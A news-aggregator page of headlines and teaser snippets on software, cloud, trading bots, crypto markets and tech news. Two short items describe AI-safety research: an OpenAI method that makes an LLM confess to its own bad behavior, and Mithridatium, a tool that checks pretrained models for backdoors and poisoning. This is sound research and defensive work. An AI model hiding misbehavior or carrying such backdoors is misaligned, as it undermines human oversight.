    A purely monetary view of yacht maintenance and living costs misses a critical factor: the value of your own labor. For the hands-on liveaboard, time and skill are a direct currency that can be exchanged for dramatic cost savings. Calculating this “Owner-Operator Dividend” reveals the real economic picture and highlights the skills with the highest return on investment. To quantify savings, first establish a local market rate for marine labor. In many cruising areas, skilled technician rates range from $80 to $150 per hour. This becomes your “credit rate”—the amount you save for every hour of competent work you perform yourself. Not all tasks offer equal savings. Focus on high-frequency, moderately complex jobs that have a high labor-to-parts cost ratio. Top Tier (Highest Dividend): Preve…  ( 7 min )
    Is Rust Good for Data Science? A Complete 2025 Guide
    Rust is not the first language that comes to mind when people think about data science. Most learners start with Python or R because of their libraries and simpler learning curve. However, Rust is gaining attention due to its speed, reliability, and ability to handle large-scale computations efficiently. Developers who work on performance-heavy systems or want safer, low-level control are exploring Rust as an option. This growing interest naturally raises a question: Can Rust support data science tasks well enough to be considered a practical choice? Rust can be good for data science, but the answer depends on what you need. It is fast, memory-safe, and reliable, which makes it suitable for large datasets and production-grade systems. However, Rust’s data science ecosystem is still develop…  ( 8 min )
    OPERATING SYSTEM — DETAILED EXAM NOTES (UNIT-WISE, CIITM Dhanbad)
    🟦 UNIT – I : OS Basics, Types, Services, Structure, System Calls ⭐ 1. Operating System – Definition An Operating System (OS) is system software that manages computer hardware, executes programs, and provides a user-friendly environment for running applications. It acts as an intermediary between user and hardware. 2. Functions of Operating System Process Management Creates, schedules, and terminates processes. Memory Management Allocates memory to programs. Performs deallocation when program ends. File Management Creates, deletes, and organizes files. Device Management Controls hardware devices (printers, disks, keyboard). Security & Protection Prevents unauthorized access. Error Detection Detects and handles system errors. Resource Allocation Manages CPU, memory, disk,…  ( 10 min )
    Decoding the 10AS016E4F27E3SG: Powerhouse Arria 10 SoC FPGA for Edge AI and Industrial Automation
    Hey devs and hardware hackers! In the wild world of embedded systems, where processing power meets programmable flexibility, few chips pack the punch of Intel's Arria 10 series. Today, we're cracking open the 10AS016E4F27E3SG—a beast of an SoC FPGA that's redefining what's possible in edge computing, real-time control, and AI-accelerated prototypes. Whether you're building industrial robots, 5G gateways, or custom video pipelines, this little (well, not-so-little) guy is your ticket to high-performance without the bloat. Core Processor: Dual ARM Cortex-A9 MPCore with CoreSight debug—up to 1.5 GHz. Run embedded Linux (hello, Yocto builds!) or bare-metal RTOS for deterministic control. Compared to older Xilinx rivals or even Intel's own Cyclone line, the 10AS016 shines in transceiver densi…  ( 9 min )
    Agents, Not Browsers: You Will be Living in the Post-Visual, Post-Matrix Future
    Neo Do you always look at it encoded? Cypher Well you have to the image translators work for the construct program but there's way too much information to decode the Matrix. You get used to it. I, I don't even see the code. All I see is blonde, brunette, redhead. At the dawn of Internet commerce, Berners-Lee invented a simple document exchange and reader. Microsoft, then the gatekeeper to computer users with its flawed Windows 3.1 along with slow dial-up birthed CSS/JS, which turned the browser into a massive local executable to handle rendering and state. That historical accident created every front-end dev career. Built for ambiguity, human-centric computing—web GUIs, touch screens, the Matrix of our present reality—will be going away. The future has no need for your front-end f…  ( 9 min )
    Why Top AI Apps Convert at 12% While Most Struggle at 2%
    Almost all top AI apps' paywalls share one pattern: capability you've already felt the need for—right when you hit that need. Top-converting paywalls show up at high-intent moments—during your first session or when you hit a usage limit—and frame the upgrade as unlocking a capability you just tried to use. Contextual gating flow drives 12% median conversion vs. 2% for generic freemium Trigger at Capability ThresholdsGate when users try to access a premium feature or hit limits—not on settings pages. ChatGPT shows the paywall when you switch models; you understand exactly what you're paying for. 2.Lead with ONE Hero Tier ChatGPT has "Plus." Claude has "Pro." A single recommended tier reduces decision fatigue. Use a clear feature grid—avoid vague promises like "Premium Features." Convert Li…  ( 7 min )
    AWS + Google Cloud: A Step Toward True Multicloud—or Just a Convenient Patch?
    For years we’ve circled around the same debate: The argument is familiar. Every re:Invent, my attention usually gravitates toward new features: better serverless capabilities, smarter managed services, or breakthrough technologies that unlock new design patterns. At a high level, it looks like a straightforward agreement: improve private connectivity between the two clouds, reduce complexity, and remove some historical pain points that made multicloud networking feel like a chore. Anyone who has tried to stitch AWS ↔ Google Cloud manually knows exactly what that pain feels like. However, the implications run deeper. This partnership opens the door to a possible future where cloud systems become increasingly agnostic, where architectural decisions are driven by capabilities—not by the limitations of network plumbing between providers. Yet there’s another way to read this move: Whether this collaboration becomes a turning point in cloud interoperability or simply a convenient handshake between two giants remains to be seen. What is certain is that the market has been demanding simpler, more stable, and less painful multicloud experiences—and this announcement suggests that the providers have finally started listening.  ( 7 min )
    From Detection to Resolution: A Closed-Loop System for Managing AWS CloudFormation Drift
    As cloud estates grow, maintaining the integrity of Infrastructure as Code (IaC) is a critical challenge. AWS CloudFormation provides the blueprint for our infrastructure, but the reality of day-to-day operations—manual hotfixes, temporary changes, and urgent interventions—inevitably leads to configuration drift. Detecting this drift is only half the battle. The real challenge, especially when managing hundreds of stacks, is prioritizing what to fix and cutting through the noise. What if you could move beyond simple alerts and build a closed-loop system that not only detects drift but allows your team to manage, acknowledge, and prioritize it, all from within your primary communication tools? This post details the architecture for just such a solution: an intelligent, interactive drift man…  ( 8 min )
    Bias–Variance Tradeoff — Visually and Practically Explained (Part 6)
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    How We Build a Tier-10 Global Supply Graph
    Engineering the data, architecture, and reasoning behind deep-tier supply chain visibility Most teams can only see Tier-1 suppliers. Some advanced organizations map parts of Tier-2 or Tier-3. But almost no system today can reliably expose the deeper layers—Tier-4 to Tier-10—where the majority of structural supply chain risk actually lives. This article breaks down the engineering principles, system design, and data modeling approach behind building a Tier-10 global supply graph — not as a monolithic platform, but as a foundation for modular, A2A-compatible agents that developers can integrate directly into real systems. A single product may depend on: dozens of Tier-1 suppliers hundreds of Tier-2/3 suppliers thousands of deeper-tier producers, refiners, and upstream transform nodes …  ( 8 min )
    Lesson 30: Conclusion and Continuous Learning
    Lesson 30: Conclusion and Continuous Learning ⏱ Duration: 1 hour 🎯 Learning Objectives: Review course key points, establish long-term learning and trading system After 30 lessons, you have mastered: ✅ Complete Freqtrade usage workflow ✅ Strategy development and testing methods ✅ Risk management and mindset control ✅ Complete path from backtesting to live trading ✅ Advanced techniques (multi-timeframe, grid, ML) Now, let's review the entire learning journey and look to the future. ┌─────────────────────────────────────────────────────────┐ │ Complete Freqtrade Quantitative Trading System │ └─────────────────────────────────────────────────────────┘ Part 1: Getting Started (Lessons 1-4) ├─ Environment installation and configuration ├─ Basic commands and tools ├─ Core conc…  ( 28 min )
    第 30 课:总结与持续学习
    第 30 课:总结与持续学习 ⏱ 课时:1 小时 🎯 学习目标:回顾课程要点,建立长期学习和交易体系 经过 30 课的学习,你已经掌握了: ✅ Freqtrade 的完整使用流程 ✅ 策略开发和测试方法 ✅ 风险管理和心态控制 ✅ 从回测到实盘的完整路径 ✅ 进阶技术(多时间框架、网格、ML) 现在,让我们回顾整个学习旅程,并展望未来。 ┌─────────────────────────────────────────────────────────┐ │ Freqtrade 量化交易完整体系 │ └─────────────────────────────────────────────────────────┘ 第一部分:基础入门(第 1-4 课) ├─ 环境安装和配置 ├─ 基本命令和工具 ├─ 核心概念理解 └─ 数据下载与管理 第二部分:回测实战(第 5-10 课) ├─ 运行第一次回测 ├─ 策略性能分析 ├─ 多时间框架测试 ├─ 策略对比和选择 ├─ 时间范围测试 └─ 交易对选择 第三部分:策略优化(第 11-15 课) ├─ Hyperopt 参数优化 ├─ 策略进阶分析 ├─ 评分系统建立 ├─ 风险管理配置 └─ 组合策略构建 第四部分:实时信号(第 16-20 课) ├─ Dry-run 模拟交易 ├─ Telegram Bot 集成 ├─ Web UI 和 API ├─ 可视化分析工具 └─ 模拟交易验证 第五部分:实盘交易(第 21-25 课) ├─ 交易所 API 配置 ├─ 实盘前检查清单 ├─ 小资金实盘测试 ├─ 交易监控与调整 └─ 风险控制与心态管理 ⭐ 第六部分:进阶专题(第 26-30 课) ├─ 自定义策略开发 ├─ 多时间框架策略 ├─ 高频交…  ( 11 min )
    Lesson 29: Machine Learning and Strategy Optimization
    Lesson 29: Machine Learning and Strategy Optimization ⏱ Duration: 2.5 hours 🎯 Learning Objectives: Learn to use machine learning to assist strategy development and parameter optimization Machine Learning (ML) can help us: 🔍 Discover hidden patterns in data 🎯 Optimize strategy parameters 📊 Predict price trends 🤖 Build adaptive strategies Important Reminders: Hyperopt is Freqtrade's built-in parameter optimization tool that uses machine learning algorithms to automatically find optimal parameters. What is Hyperopt? - Automated parameter search - Uses Bayesian optimization algorithms - Searches for optimal parameters within specified ranges - Scores based on backtest results What can be optimized? - Buy condition parameters (RSI thresholds, EMA periods) - Sell condition parameters - R…  ( 15 min )
    Mithridatium: An Open-Source Toolkit for Verifying the Integrity of Pretrained Machine Learning Models
    Modern machine learning workflows rely heavily on pretrained models—downloaded from GitHub, HuggingFace, and countless other model hubs. This convenience comes with a growing risk: model tampering, data poisoning, and hidden backdoors embedded in .pth checkpoints. To address this problem, we built Mithridatium, a lightweight open-source framework designed to verify the integrity of pretrained neural networks before they enter production or research pipelines. Why Mithridatium? Today’s ML ecosystem assumes that pretrained models are safe. In reality, the model file itself can be a silent attack vector: Mithridatium provides a command-line workflow to evaluate these risks through model-centric defenses, inspired by academic research, but simplified for real-world use. Offline Usage Once inst…  ( 7 min )
    Why Every Developer Needs a Business Mindset in the AI Era
    The quiet shift happening in tech, and why side projects, digital products, and content creation are becoming essential—not optional. ⸻ We Are Entering a Different Era for Developers Over the last year, the tech landscape has changed faster than any of us expected. AI coding assistants are now mainstream, automation is accelerating, and companies are restructuring teams at a pace that would have been unthinkable just a few years ago. For many developers—especially those who have been in the industry for a while—this can feel unsettling. But for others, it’s a wake-up call to shift how we think about our careers. The truth is simple: pure employment is no longer the only pillar of a dev career. Developers who thrive from now on will be the ones who view themselves not just as employees, but as micro-entrepreneurs with skills that can be packaged, monetised, and scaled in multiple ways. A business mindset doesn’t mean starting a huge company or raising money. It simply means seeing your skills as assets and treating your output as something that can generate income outside your day job. Even small, steady streams of income create resilience in a world where tech layoffs can happen overnight. Here are the forces pushing developers in this direction: AI will keep accelerating (and will eventually handle more junior coding tasks) Companies are shrinking engineering teams, not growing them Career transitions now happen every 2–3 years, not 10 Apps, digital products, and online content cost almost nothing to produce One developer can now build and launch full products solo This isn’t a crisis. This is an opportunity — if you start early.  ( 7 min )
    PWC 350 Good Substring / Shuffle Pairs
    Musical Interlude The movie version of Wicked is in theaters right now, so I am reminded of the song For Good -- but I'm gonna link to the Broadway version, because I'm classy like that. It's relevant to programming in Perl because "I don't know if I've been changed for the better, but I have been changed for good." For part two, Lido Shuffle by Boz Scaggs. Task 1: Good Substrings The Task You are given a string. Write a script to return the number of good substrings of length three in the given string. A string is good if there are no repeated characters. Example 1: Input $str = "abcaefg", Output: 5 Good substrings of length 3: abc, bca, cae, aef and efg Example 2: Input: $str = "xyzzabc", Output: 3 Example 3: Input: $str = "aababc", Output: 1 Example 4: Input: $str = …  ( 10 min )
    Optimizing "GitHub-as-a-Database": Solving Rate Limits with Server-Side Caching
    The Context: An Open-Source Educational Tool I currently serve as the Tech Lead for DigitalBoneBox, an open-source educational platform designed to render high-fidelity anatomical resources for anatomy students. Our architectural constraints are unique: we needed a "database" that was completely open, version-controlled, and accessible to non-technical contributors (like anatomy professors) who might want to fix a typo or add a description without touching a database console. The solution? "GitHub-as-a-Database." We store our data (JSON files and images) in a specific data branch of our public repository. The application fetches this content via the GitHub Raw API to render the UI. While this lowered the barrier to entry for contributors, it introduced a critical engineering challenge: T…  ( 8 min )
    How to Sell Your Coding Skills Without Feeling ‘Salesy’
    Introduction: The Moment You Realize “Coding Alone Isn’t Enough” If you’ve ever sat staring at your computer thinking, “I can build great things… why is nobody hiring me?” — you’re not alone. Many developers feel awkward when it comes to promoting themselves. You want to code, not pitch. You want clients who appreciate your work — not to chase people around like a pushy salesperson. The good news? don’t need to be salesy to attract clients. communicate your value in a human, helpful way — the same way you solve problems in your code. This article shows you exactly how. Visual Suggestion: Alt-text: A developer connecting puzzle pieces representing skills and clients. Why Selling Feels Salesy for Developers (And Why It Doesn’t Have To) Most coders grew up learning technical skills — and almo…  ( 10 min )
    SwiftUI Performance Optimization — Smooth UIs, Less Recomputing
    SwiftUI is fast — but only if you use it correctly. Over time, you’ll run into: choppy scroll performance laggy animations slow lists views refreshing too often unnecessary recomputations async work blocking UI memory spikes from images 120Hz animations dropping frames This guide shows the real-world performance rules I now follow in all my apps. These aren’t theoretical — they fix problems you actually hit when building full SwiftUI apps. Let’s make your UI buttery smooth. 🧈⚡ SwiftUI re-renders the entire View when any @State/@Observed changes. This is bad: VStack { Header() ExpensiveList(items: items) // ← huge view } .onChange(of: searchQuery) { // whole view recomputes } This is better: VStack { Header() ExpensiveList(items: items) // isolated } And…  ( 8 min )
    open-source non-caching web proxy - Privoxy
    Privoxy is a free, open-source non-caching web proxy that filters HTTP/HTTPS traffic at the application layer to boost privacy, remove ads, manage cookies, and apply custom rules for content control. Privoxy excels in user-configurable filtering without storing pages. Highlights include: Ad and tracker blocking: Targets banners, pop-ups, and web bugs for cleaner, faster browsing. Cookie and header management: Strips tracking cookies, spoofs User-Agent, and hides Referer data. Proxy chaining: Forwards to Tor or SOCKS for anonymity. Access controls: IP-based restrictions and stealth mode for secure setups. Cross-platform: Runs on Linux, Windows, macOS at https://www.privoxy.org. sudo apt update && sudo apt install privoxy -y sudo systemctl start privoxy sudo systemctl enable privoxy Config at /etc/privoxy/config. Download installer from privoxy.org, run as admin. Install service: privoxy.exe --install. Edit C:\Program Files\Privoxy\config.txt. Edit config: Uncomment/set listen-address 127.0.0.1:8118. Enable actions: actionsfile default.action and actionsfile user.action. Add logging: debug 1 and logfile logfile. Reload: sudo systemctl reload privoxy (Linux) or restart service (Windows). Set browser proxy to 127.0.0.1:8118 for HTTP/HTTPS. Test at http://config.privoxy.org/show-status/. { +block{Ads} } .* /ads/ /banner/ /doubleclick.net/ Filters common ad paths. forward-socks5t / 127.0.0.1:9050 . forward-socks5 / 127.0.0.1:9050 . Routes all traffic via Tor. listen-address 0.0.0.0:8118 permit-access 192.168.1.0/24 Serves local network; firewall essential. Perfect for privacy enthusiasts, parents, or low-bandwidth users—unlike Squid (caching-focused) or Nginx (load balancing).  ( 6 min )
    Product Market Fit in the Age of Instant Prototypes
    Product-market fit used to be a long, painful journey. But 2025 has changed the rules of the game forever. We now live in a world of instant prototypes. design a UI in minutes generate backend logic with AI validate ideas in hours ship MVPs in days pivot in real-time test 50 variations in a week This is the fastest learning environment in startup history. But ironically, this speed has created a new problem: Most founders confuse prototype momentum with market validation. Let’s break down what product-market fit actually means in an era where prototypes are cheap, fast, and everywhere. 1. Instant Prototypes Make It Easy to Build the Wrong Thing Quickly Just because AI lets you build fast, doesn’t mean the thing you built matters. In the old world: Slow building → slower mistakes High cost …  ( 11 min )
    Funmilola shoroye
    Check out this Pen I made!  ( 6 min )
    Unlocking Time's Secrets: Temporal Pattern Recognition for System Anomaly Detection by Arvind Sundararajan
    Unlocking Time's Secrets: Temporal Pattern Recognition for System Anomaly Detection Imagine your servers are chirping like crickets, each chirp a system event. How do you tell a normal chorus from a sign of impending doom buried within a symphony of events happening at different times and durations? Standard time-series analysis often overlooks the critical when and how long of state changes. The key is understanding the interplay between event sequence and the time spent in each state. We've been exploring a novel approach we call Selective Temporal Difference (STD). It's designed to pinpoint similarities between sequences of events, not just by the order in which they occur, but also by how long the system resides in each state. STD cleverly sidesteps the pitfall of forced time alignme…  ( 7 min )
    I Built a Tool That Detects AI Training — And I Need Your Help.
    So… I built something. A small browser extension that tells you when a website you’re visiting might be using your data to train AI models. Not in a dramatic way. And I’d love your help making it better. I’ve been following AI news for a while, and one thing keeps bothering me: our data is being used to train models, but we’re rarely told how, where, or when. Some platforms are clear about it. Artists. Writers. Photographers. Developers. After a while, I realized: There’s no easy way to check who’s training on your data. WTOM (WhoTrainedOnMe) is a browser extension for Chrome, Chromium-based browsers, and Firefox. When you visit a site, WTOM checks if that platform: Trains AI on user data It’s not perfect, but my goal is to give users clarity — not fear. How WTOM Works (A Lot of Manual Res…  ( 9 min )
    🚀 The Essential Patterns Behind Modern AI Agents
    🚀 The Essential Patterns Behind Modern AI Agents A Practical Guide for Developers, PMs, Analysts & Business Leaders ✅ Artificial Intelligence agents are quickly becoming the backbone of next-generation software systems. They automate decision-making, coordinate tasks, call APIs, analyze data, and even interact with users like mini-employees who work 24/7. Regardless of the framework you use (LangChain, LangGraph, CrewAI, LlamaIndex, AutoGPT…), the smartest AI agents rely on the same set of architectural patterns. ✅ Understanding these patterns is the difference between: Building a confusing chatbot, or Designing a reliable multi-agent system that solves real business problems. This article breaks them down in a simple, real-world, business-friendly way. 🧩 What Is an AI Agent, Real…  ( 8 min )
    RecipeHub
    Link: https://receipehub.dev Transforming Recipes Into Culinary Masterpieces Effortlessly Built with the tools and technologies: HTML, CSS, Tailwindcss, Shadnui, JavaScript, localstorage, next, react, resend, RestfulAPI (dummyjson) Table of Contents Overview Features Project Index Prerequisites Installation Usage Testing Why RecipeHub? This project simplifies creating engaing culinary communities by providing seamless localstorage integration, consistent UI design, and comprehensive content managment features. The core feature includes: v3 🧑‍💻 Firebase SDK integration: Real time analytics, authentication, database, storage, enhanced web security. 🍽️ Recipe Management: Real time detailed recipe pages, sharing, favorites, and search filters to enhance user engagement. Email service: App…  ( 8 min )
    Entendendo APIs e sua estrutura.
    O que é uma API? API significa Application Programming Interface (em português: Interface de Programação de Aplicações). Basicamente: API é um jeito de um sistema conversar com outro, trocando informações de forma organizada e seguindo regras pré-definidas. Ou seja, se um sistema quer pegar dados de outro, mandar informações, criar algo, atualizar algo… a API é quem faz essa ponte. Quando falamos de APIs como REST, elas se comunicam usando HTTP/HTTPS, o mesmo protocolo que tem no navegador. Tudo é feito através de URLs chamadas endpoints. Endpoint = endereço onde o serviço da API está disponível. : pediu → recebe algo de volta. A API responde com: dados, confirmação,ou um erro dizendo o que deu errado. E sempre vem acompanhado de um status code. 200 – OK → Deu bom. Quando você acessa um endpoint, você sempre usa um método. GET – Buscar dados POST – Enviar dados (criação de recurso) PUT – Atualizar um recurso existente PATCH – Atualizar parte de um recurso DELETE – Deletar um recurso Os formato de Dados, hoje em dia, a maioria das APIs usa JSON. { JSON é leve, fácil de ler e funciona bem com praticamente todas as linguagens. São informações adicionais que você envia na requisição. Tipo do conteúdo (JSON) Token de autenticação Idioma Permissões Sem headers, várias APIs nem deixam você acessar. Nem toda API é aberta. Muitas exigem uma maneira de provar que você tem permissão. Os mais usados: API Key Bearer Token JWT OAuth2 APIs mudam com o tempo. Por isso existe versionamento: /api/v1/clientes Exemplo Bem Simples de API com Spring Boot Você pode criar pelo Spring Initializr: https://start.spring.io/ Depois, uma API simples: @RestController Código fonte de uma api simple: https://start.spring.io/ https://www.linkedin.com/in/isaac-bessa-044a14321/  ( 7 min )
    re:Invent25, jour 1 : « boom »
    Je suis le "What's new" d'AWS de façon quasi quotidienne depuis plus de 7 ans. J'ai trouvé certaines éditions de re:Invent excitantes, d'autres décevantes.. mais j'ai rarement éprouvé le sentiment de submersion face à l'explosion d'annonces du jour. L'annonce la plus importante de la Keynote de Matt Garman ↗️ est sans doute la disponibilité immédiate de 3 agents à durée de vie longue. Jusqu'ici, l'IA agentique s'appuie sur des agents qui doivent à chaque tâche redécouvrir le contexte (comment est structuré le projet, quels profils CLI sont dispo pour qu'ils accèdent aux API, ce qu'ils ont le droit de faire ou non, les choix d'architecture) ; il y a besoin d'interactions fréquentes avec le "pilote" pour les garder "on-track". L'agent Kiro autonome↗️ se propose de résoudre cette limite av…  ( 9 min )
    Don’t Limit Yourself: Why Broadening Your Tech Horizons Keeps You Relevant
    If there is one thing time has taught me working in IT, it is this: getting stuck with what you already know is the fastest path to being left behind. Our field evolves constantly. You do not need to learn something new every month, but you should widen your possibilities. Learning new languages, frameworks, tools or paradigms expands your technical vision and makes you more versatile to solve real problems. It is even better when your company gives you freedom to experiment with new technologies, as long as it does not turn into chaos. Choosing technology is not about what seems cool, but about what makes sense for the context of the project. In your personal projects, explore without fear because that is where real growth happens. If I were to recommend a set of technologies today for so…  ( 8 min )
    🛡️Penetration Testing Services Agreement (Beginner-Friendly Guide + Open Template)
    Created as part of my learning experience in the ParoCyber Ethical Hacking Program. Penetration testing is one of the most exciting areas of cybersecurity, but before any testing begins, you must have clear authorization, documented scope, and well-defined rules to protect both the tester and the client. This article introduces a beginner-friendly walkthrough of what a Penetration Testing Agreement is, why it matters, and how you can use the open-source LDWIT template in your own labs, projects, or ethical hacking studies. A link to the full GitHub version (including the Agreement + SOW template + PDF) is included at the end. Note: I developed this agreement targeting my own areas of interest. This is not a concrete example; service agreements may vary greatly depending on industry and sco…  ( 9 min )
    The Replay Model: How AWS Lambda Durable Functions Actually Work
    Understanding the checkpoint-based execution that makes long-running workflows possible You write an AWS Lambda function that looks like it runs continuously for hours. But Lambda functions can only run for 15 minutes. How does this work? The answer is replay - a checkpoint-based execution model that makes your function restart from the beginning on every invocation, but skip the work it's already done. It's elegant, efficient, and once you understand it, surprisingly intuitive. Here's the fundamental truth about durable functions: Your handler function re-executes from the beginning on every invocation, but completed operations return cached results from checkpoints instead of re-executing. Let's see this in action with a simple workflow: async function processOrder(event: any, ctx: Durab…  ( 11 min )
    Automatically Merge Dependabot Patch Updates with GitHub Actions
    Introduction Dependabot automatically detects dependency updates and creates pull requests, but manually merging each one can be tedious. Patch updates (security fixes and bug fixes) typically have limited impact, making them safe candidates for automatic merging. This article explains how to implement a GitHub Actions workflow that automatically merges Dependabot patch updates. The following workflow automatically merges only patch updates (version-update:semver-patch) from Dependabot pull requests: name: Dependabot auto-merge on: pull_request_target: types: - opened - synchronize - reopened - ready_for_review permissions: {} defaults: run: shell: bash jobs: dependabot: runs-on: ubuntu-24.04 if: github.event.pull_request.user.login == 'd…  ( 8 min )
    Extensible Design of Backend Service Functions from the Perspective of Reversible Computation
    Many low-code platforms are fundamentally built around a CRUD model, typically offering a certain level of customization through built-in extension points (such as before-insert, after-insert, etc.). In the Nop platform, the CRUD model is not special; the built-in CrudBizModel is merely a regular BizModel, and the core of the Nop platform does not apply any special treatment to CRUD extension points. In this article, I will use CrudBizModel as an example to explain common extension approaches for implementing backend services in the Nop platform. Most service functions in CrudBizModel adopt two layers of abstraction. The upper-layer function calls the lower-layer implementation and uses parameters and callback functions to achieve customization. public PageBean findPage(@Optional @N…  ( 14 min )
  • Open

    Stop Talking
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    Prompt Injection via Poetry
    Comments  ( 99 min )
    Launch HN: Phind 3 (YC S22) – Every answer is a mini-app
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    Reverse engineering a $1B Legal AI tool exposed 100k+ confidential files
    Comments  ( 3 min )
    1D Conway's Life glider found, 3.7B cells long
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    Rocketable (YC W25) is hiring a founding engineer to automate software companies
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    Steam Deck lead reveals Valve is funding ARM compatibility of Windows games
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    Critical RCE Vulnerabilities in React and Next.js
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    RCE Vulnerability in React and Next.js
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    MinIO is now in maintenance-mode
    Comments  ( 3 min )
    Critical Security Vulnerability in React Server Components
    Comments  ( 6 min )
    VA staff flag dangerous errors in Oracle-built electronic health record
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    Why are my headphones buzzing whenever I run my game?
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    Microsoft lowers AI software sales quota
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    Show HN: Fresh – A new terminal editor built in Rust
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    Mapping Every Dollar of America's $5T Healthcare System
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    GSWT: Gaussian Splatting Wang Tiles
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    Congressional lawmakers 47% pts better at picking stocks
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    Helldivers 2 devs slash install size from 154GB to 23GB
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    You Can't Fool the Optimizer
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    The "Mad Men" in 4K on HBO Max Debacle
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    Are we repeating the telecoms crash with AI datacenters?
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    India scraps order to pre-install state-run cyber safety app on smartphones
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    Anthropic reportedly preparing for $300B IPO
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    Codeberg Is Down
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    Zig quits GitHub, says Microsoft's AI obsession has ruined the service
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    Accepting US car standards would risk European lives
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    Researchers Find Microbe Capable of Producing Oxygen from Martian Soil
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    AI Is Breaking the Moral Foundation of Modern Society
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    Quad9 DOH HTTP/1.1 Retirement, December 15, 2025
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    Interview with RollerCoaster Tycoon's Creator, Chris Sawyer (2024)
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    Japanese game devs face font dilemma as license increases from $380 to $20k
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    Kohler Can Access Pictures from "End-to-End Encrypted" Toilet Camera
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  • Open

    OpenAI has trained its LLM to confess to bad behavior
    OpenAI is testing another new way to expose the complicated processes at work inside large language models. Researchers at the company can make an LLM produce what they call a confession, in which the model explains how it carried out a task and (most of the time) owns up to any bad behavior. Figuring out…  ( 24 min )
    The Download: AI and coding, and Waymo’s aggressive driverless cars
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Everything you need to know about AI and coding AI has already transformed how code is written, but a new wave of autonomous systems promise to make the process even smoother and less…  ( 20 min )
    Accelerating VMware migrations with a factory model approach
    In 1913, Henry Ford cut the time it took to build a Model T from 12 hours to just over 90 minutes. He accomplished this feat through a revolutionary breakthrough in process design: Instead of skilled craftsmen building a car from scratch by hand, Ford created an assembly line where standardized tasks happened in sequence,…  ( 17 min )
  • Open

    Filecoin Gains 2% Alongside Crypto Rally
    The token tracked broader crypto sentiment on below-average volume, establishing an ascending trend.  ( 31 min )
    Ethereum's 'Fusaka' Upgrade Cements Network's Role as On-Chain Finance Settlement Layer: Bitwise
    The upgrade will boost throughput, keep validators efficient and, most importantly, strengthen Ethereum's value capture by putting a floor under blob fees.  ( 32 min )
    The Protocol: Ethereum Preps For Upcoming Fusaka Upgrade
    Also: Anthropic On DeFi AI Agents, ETH Devs Push ZK Protocol, and Bitnomial  ( 39 min )
    Trump's CFTC, FDIC Picks Closer to Taking Over Agencies as They Advance in Senate
    The Senate's process is inching forward on a mass-confirmation that would include two nominations with major crypto implications.  ( 33 min )
    Bitcoin Futures Return to Deepest Backwardation Since FTX Collapse
    So-called "backwardation" — a futures price curve moving lower in value as time gets further out — can be read as a measure of stress in the market.  ( 32 min )
    Firelight Introduces XRP Staking for DeFi Insurance Layer Against Exploits
    The new protocol, developed by Sentora and Flare Network, aims to combine XRP yield opportunity with offering protection against DeFi hacks.  ( 33 min )
    ETHZilla Buys 20% of AI Lending Platform Karus in $10M Deal to Tokenize Auto Loans
    The companies plan to tokenize auto loans, with the first portfolios expected to be available by early 2026.  ( 31 min )
    Stellar Climbs 2% as Volume Spikes Signal Institutional Interest
    Trading activity jumps 37% above weekly average despite modest price gains.  ( 32 min )
    Ostium Raises $20M Series A Led by General Catalyst, Jump Crypto to Put TradFi Perps Onchain
    Built on Arbitrum, the perpetuals protocol has processed $25 billion in trading volume by offering self-custodial bets on gold, FX and other real-world markets.  ( 32 min )
    HBAR Edges Higher as Vanguard ETF Access Expands Institutional Appeal
    Hedera gains on elevated volume while establishing support above $0.1427 during measured advance that coincides with significant institutional developments.  ( 33 min )
    U.S. Debt Growth Will Drive Crypto's Gains, BlackRock Says in Report on AI
    The world’s largest asset manager released its AI report with a bearish outlook on U.S. bonds and the country’s economy, and presented a bullish projection for crypto adoption.  ( 33 min )
    Crypto Long & Short: Don’t Write Off Euro Stablecoins Just Yet
    In this week’s Crypto Long & Short Newsletter, Martin Bruncko writes that the next big step for stablecoins will be a credible, scalable euro-denominated stablecoin issued by the private sector, not another USD token. Then, we dive into the sharp post-holiday crypto selloff, the upcoming Fusaka upgrade, and why ETH’s role is crucial in leading any broader market recovery — with Andy Baehr’s “Vibe Check.  ( 41 min )
    Strategy Battles for Par on STRC, Lifting Dividend to 10.75%
    The company lifted STRC’s payout after the preferred stock again slipped below its $100 par value.  ( 31 min )
    Kalshi’s Luana Lopes Lara Becomes Youngest Female Self-Made Billionaire
    A recent $1 billion funding round led by Paradigm puts Kalshi co-founders Luana Lopes Lara and Tarek Mansour on the billionaire list.  ( 32 min )
    TON Gains 3.7% as STON.fi DAO Launch and Telegram-Backed AI Platform Brings Demand
    STON.fi, TON's largest DeFi protocol, launched a fully onchain DAO, enabling users to vote on governance decisions and receive tokens representing voting power.  ( 32 min )
    S&P's Tether Downgrade Revives 'De-pegging' Risk Warning, HSBC Says
    The rating agency's Tether downgrade flags redemption risk, potentially nudging institutions to higher-rated stablecoins and tokenized deposits.  ( 33 min )
    Cardano’s Biggest Players Unite Behind 70M ADA Push to Spark On-Chain Growth
    Funds will be allocated to developing stablecoins, credible oracle feeds, cross-chain bridges, custody integrations, and analytics tooling, among other enhancements.  ( 32 min )
    IREN Investors Mull Outlook After $3.6B Capital Raise as Jim Cramer Says 'Sell'
    The bitcoin miner turned AI compute provider tumbled on Tuesday and is now down nearly 50% over the past month.  ( 33 min )
    Sony’s Blockchain Partner Startale Launches Dollar Stablecoin on Soneium
    The Startale USD token, developed with M0, aims to power payments and rewards across the electronics giant Sony's Web3 ecosystem.  ( 32 min )
    Crypto Rally Stumbles, Bitcoin Slips Back to $92K, as Microsoft Lowers AI Sales Goals
    Employees of the tech giant told The Information that some divisions failed to deliver on their targets in 2025, leading to lower expectations for the year ahead.  ( 32 min )
    CoinDesk 20 Performance Update: Chainlink (LINK) Gains 8.9%, Leading Index Higher
    Sui (SUI) was also a top performer, rising 6.5% from Tuesday.  ( 28 min )
    Stable, Theo Anchor $100M+ in Libeara-Backed Tokenized Treasury Fund ‘ULTRA’
    Stable and Theo committed over $100 million to ULTRA, a tokenized U.S. Treasury fund managed by FundBridge Capital and Wellington Management.  ( 33 min )
    Jane Street Leads $105M Funding for Antithesis, a Testing Tool Used by Ethereum Network
    Antithesis said its Series A will scale deterministic simulation testing, replaying complex failures exactly for crypto and other always-on systems.  ( 32 min )
    Polkadot Gains 9% After Breaking Key $2.25 Resistance
    DOT outperformed the broader crypto market as a 60% volume surge validated the breakout above a critical technical threshold.  ( 31 min )
    U.S. Crypto Education Group, American Innovation Project, Gets First Director
    The Blockchain Association's COO, Allie Page, is leaving to be the inaugural director of AIP, which is focused on educational events for decision makers.  ( 32 min )
    Parataxis Agrees to Buy Control of South Korea's Sinsiway for $27M, Build Ether Treasury
